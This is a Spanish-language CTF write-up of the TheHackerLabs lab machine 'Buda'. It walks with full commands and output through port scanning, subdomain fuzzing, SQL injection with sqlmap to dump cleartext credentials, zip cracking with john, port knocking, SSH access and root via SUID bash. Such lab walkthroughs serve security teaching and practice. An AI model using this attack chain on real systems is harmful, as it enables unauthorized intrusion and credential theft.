// TheHackerLabs — CTF — Writeup

BUDA

#linux #sqli #ftp #suid
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo de puertos para mapear toda la superficie de ataque antes de pasar al análisis de servicios.

escaneo completo
nmap -p- -T5 <IP> -oG allPorts
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-10 13:08 +0200 Nmap scan report for 10.10.10.25 Host is up (0.0011s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http MAC Address: 08:00:27:A8:08:5C (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 57.42 seconds

Se identifican dos servicios: FTP y HTTP. Se lanza un escaneo de versiones para obtener más detalle.

escaneo de versiones
nmap -p21,80 -sSCV -T5 -n -Pn -vvv <IP> -oN scan.txt
PORT STATE SERVICE REASON VERSION 21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.5 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.52 ((Ubuntu)) | http-methods: |_ Supported Methods: HEAD GET POST OPTIONS |_http-server-header: Apache/2.4.52 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works MAC Address: 08:00:27:A8:08:5C (Oracle VirtualBox virtual NIC) Service Info: OS: Unix
PUERTO ESTADO SERVICIO VERSIÓN
21/tcpOPENftpvsftpd 3.0.5
80/tcpOPENhttpApache 2.4.52 (Ubuntu)
FTP sin login anónimo
El FTP no acepta conexiones anónimas. La página de inicio de Apache no tiene contenido relevante en el código fuente. Hay que enumerar directorios y subdominios.
// 02

ENUMERACIÓN WEB — Virtual hosts y subdominios

La web sirve la página por defecto de Apache. Se lanza gobuster para encontrar recursos ocultos.

enumeración de directorios
gobuster dir -u http://10.10.10.25/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,txt,html,js
index.html (Status: 200) [Size: 10671] robots.txt (Status: 200) [Size: 33]

El robots.txt revela el dominio budasec.thl. Se añade al /etc/hosts y se accede a la web.

Virtual hosting activo
La web de budasec.thl muestra una página "Coming Soon" sin contenido explotable. La enumeración de directorios tampoco da resultados — hay que buscar subdominios.
fuzzing de subdominios
ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u 'http://budasec.thl/' -H "Host: FUZZ.budasec.thl" --fs=10671
dev [Status: 200, Size: 264, Words: 47, Lines: 12, Duration: 55ms]

Se añade dev.budasec.thl al /etc/hosts y se accede al subdominio.

Panel de login descubierto
El subdominio dev.budasec.thl expone un formulario de login con campos username y password. Vector de ataque: SQL Injection.
// 03

EXPLOTACIÓN — SQL Injection en el login

Se captura la petición POST del formulario con Burpsuite y se guarda en req.txt.

petición capturada (req.txt)
POST / HTTP/1.1 Host: dev.budasec.thl User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Type: application/x-www-form-urlencoded Content-Length: 29 Origin: http://dev.budasec.thl Referer: http://dev.budasec.thl/ username=admin&password=admin
enumeración de bases de datos
sqlmap -r req.txt --batch --dbs
available databases [5]: [*] buda [*] information_schema [*] mysql [*] performance_schema [*] sys
tablas de la base de datos buda
sqlmap -r req.txt --batch -D buda --tables
Database: buda [1 table] +-------+ | users | +-------+
volcado de la tabla users
sqlmap -r req.txt --batch -D buda -T users --dump
ID USERNAME PASSWORD HASHED_PASSWORD
1ftpuserftpu@sr123p@@s!$2y$10$...
4adminadmin123$2y$10$...
5user1password1$2y$10$...
6user2password2$2y$10$...
Credenciales FTP en texto claro
La tabla users contiene credenciales en texto claro. El usuario ftpuser con contraseña ftpu@sr123p@@s! permite acceder al servicio FTP que estaba cerrado a conexiones anónimas.
// 04

FTP — Descarga y análisis de ficheros

Se accede al FTP con las credenciales obtenidas y se descargan todos los ficheros disponibles.

acceso FTP y descarga
ftp [email protected] # password: ftpu@sr123p@@s! mget *
.rw-rw-r-- kali kali 499 B Thu Jun 6 15:25:09 2024 decrypt.py .rw-rw-r-- kali kali 1.8 KB Thu Jun 6 15:37:24 2024 documents.zip .rw-rw-r-- kali kali 15 B Thu Jun 6 15:18:18 2024 knock .rw-rw-r-- kali kali 2 B Thu Jun 6 15:23:03 2024 README.md

El fichero documents.zip está protegido con contraseña. Se usa john para romperla.

extracción del hash del zip
zip2john documents.zip > hash
fuerza bruta con rockyou
john --wordlist=/usr/share/wordlists/rockyou.txt hash
manuelito (documents.zip/audit2024) Session completed.
extracción del zip
unzip -P manuelito documents.zip

El fichero audit2024 es un documento financiero extenso. Entre su contenido se encuentran credenciales filtradas y el contenido del fichero knock con tres puertos.

Credenciales filtradas en documento de auditoría
El fichero audit2024 contiene: yolanda:y@lAnd361!. El fichero knock contiene tres puertos: 9467, 1739, 8745. Posible port knocking para abrir SSH.
contenido del fichero knock
9467 1739 8745
// 05

PORT KNOCKING — Apertura del puerto SSH

El puerto 22 no está visible. Se intenta port knocking con los puertos del fichero en el orden original, sin éxito. Hay que probar todas las permutaciones posibles.

intento con el orden original (sin resultado)
knock <IP> 9467 1739 8745
combinación que abre el puerto 22
knock 10.10.10.25 8745 9467 1739 && nmap -p- --min-rate=5000 10.10.10.25
PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:A8:08:5C (Oracle VirtualBox virtual NIC)
¿Qué es el port knocking?
El port knocking es un mecanismo de seguridad que mantiene puertos cerrados hasta que se recibe una secuencia específica de conexiones a puertos concretos. El servidor monitoriza los intentos de conexión y, al detectar la secuencia correcta, abre dinámicamente el puerto objetivo via iptables. Aquí la secuencia correcta es 8745 → 9467 → 1739.
// 06

ACCESO INICIAL — Shell como yolanda

Con el puerto 22 abierto, se accede por SSH con las credenciales extraídas del documento de auditoría.

acceso SSH
[email protected]'s password: y@lAnd361! Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64) [email protected]:~$ ls -la -rw-r--r-- 1 root root 33 Jun 6 2024 user.txt [email protected]:~$
USER FLAG cat ~/user.txt
// 07

ESCALADA A ROOT — SUID en /usr/bin/bash

Se buscan binarios con el bit SUID activado para encontrar vectores de escalada de privilegios.

búsqueda de binarios SUID
find / -perm -4000 -ls 2>/dev/null
131626 72 -rwsr-xr-x 1 root root 72712 Feb 6 2024 /usr/bin/chfn 141019 48 -rwsr-xr-x 1 root root 47488 Apr 9 2024 /usr/bin/mount 147460 36 -rwsr-xr-x 1 root root 35200 Apr 9 2024 /usr/bin/umount 131704 56 -rwsr-xr-x 1 root root 55680 Apr 9 2024 /usr/bin/su 131957 32 -rwsr-xr-x 1 root root 30872 Feb 26 2022 /usr/bin/pkexec 131756 72 -rwsr-xr-x 1 root root 72072 Feb 6 2024 /usr/bin/gpasswd 155467 1364 -rwsr-xr-x 1 root root 1396520 Mar 14 2024 /usr/bin/bash 131935 60 -rwsr-xr-x 1 root root 59976 Feb 6 2024 /usr/bin/passwd
SUID en /usr/bin/bash
/usr/bin/bash tiene el bit SUID activado con propietario root. Esto permite ejecutar bash manteniendo el UID efectivo del propietario del binario, es decir, root. El flag -p le indica a bash que no descarte los privilegios elevados al iniciarse.
escalada a root con bash -p
/usr/bin/bash -p
bash-5.1# whoami root bash-5.1# cd /root && cat root.txt
¿Por qué funciona?
Cuando un binario tiene el bit SUID activo, el sistema lo ejecuta con el UID efectivo del propietario del fichero en lugar del usuario que lo lanza. Al ser bash el propietario root, la shell arranca con euid=0. El flag -p (privileged mode) es necesario porque bash moderno descarta por seguridad el UID efectivo si difiere del UID real, a menos que se indique explícitamente con -p.
ROOT FLAG cat /root/root.txt
// RESUMEN

CADENA DE ATAQUE

01
Enumeración web — Virtual hosting
Gobuster encuentra robots.txt que revela el dominio budasec.thl → ffuf descubre el subdominio dev.budasec.thl con un panel de login
02
SQLi — Volcado de credenciales
sqlmap sobre la petición capturada con Burpsuite → BD buda → tabla users → credenciales FTP: ftpuser:ftpu@sr123p@@s!
03
FTP — Ficheros críticos
zip2john + john rompe documents.zip con contraseña manuelito → credenciales yolanda:y@lAnd361! + secuencia de port knocking 8745 9467 1739
04
Port knocking — Puerto 22 abierto
La combinación correcta 8745 → 9467 → 1739 abre el puerto SSH → acceso como yolandauser.txt
SUID bash → Root
find / -perm -4000 revela /usr/bin/bash con SUID → /usr/bin/bash -p → shell como root → root.txt